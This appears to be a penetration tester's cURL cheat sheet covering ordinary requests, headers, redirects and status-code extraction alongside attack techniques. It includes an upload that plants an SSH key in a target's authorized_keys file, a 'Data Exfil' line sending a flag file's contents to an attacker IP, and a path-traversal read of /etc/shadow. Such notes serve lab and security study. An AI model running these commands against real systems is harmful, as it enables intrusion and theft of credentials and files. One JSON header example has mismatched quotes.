cURL

Usage

GET

curl http://example.com

POST

# When -d is used it defaults to POST
curl -d 'username=user&password=pass' http://example.com/register

# Upload a file via multipart/form-data
curl -X POST http://<target-IP>/file-upload -H "Content-Type: application/x-pem-file" -F file=@id_rsa.pub -F filename=/home/bob/.ssh/authorized_keys --proxy 127.0.0.1:8080

Headers

# Defaults to 'application/x-www-form-urlencoded'
curl -H 'Content-Type: application/json" -d '{"username":"user","password":"pass"}' http://example.com/register

Response Headers

# Defaults to returns just the response body
curl -i http://example.com/register

Redirections

curl -L <URL>

Banner Grabbing

curl <--head | -I> <IP:PORT>

Status Code Extraction

curl -s <URL> -L -o /dev/null -w "%{http_code}"

JSON

curl <URL> | json_pp

Data Exfil

curl http://10.10.14.10/$(type c:\users\administrator\desktop\flag.txt)

FI

When testing File Inclusion vulnerablities with curl use the --path-as-is option which tells curl not to normalize or modify the URL path. Normally, curl (and many HTTP clients) normalize paths by resolving or decoding things like: . and .. in URLs, encoded characters like %2F into /, duplicate slashes //, etc. which can sometimes change the actual request path sent to the server.

x7331@kali:~$ curl --path-as-is http://localhost:7777/../../../../../../../../etc/shadow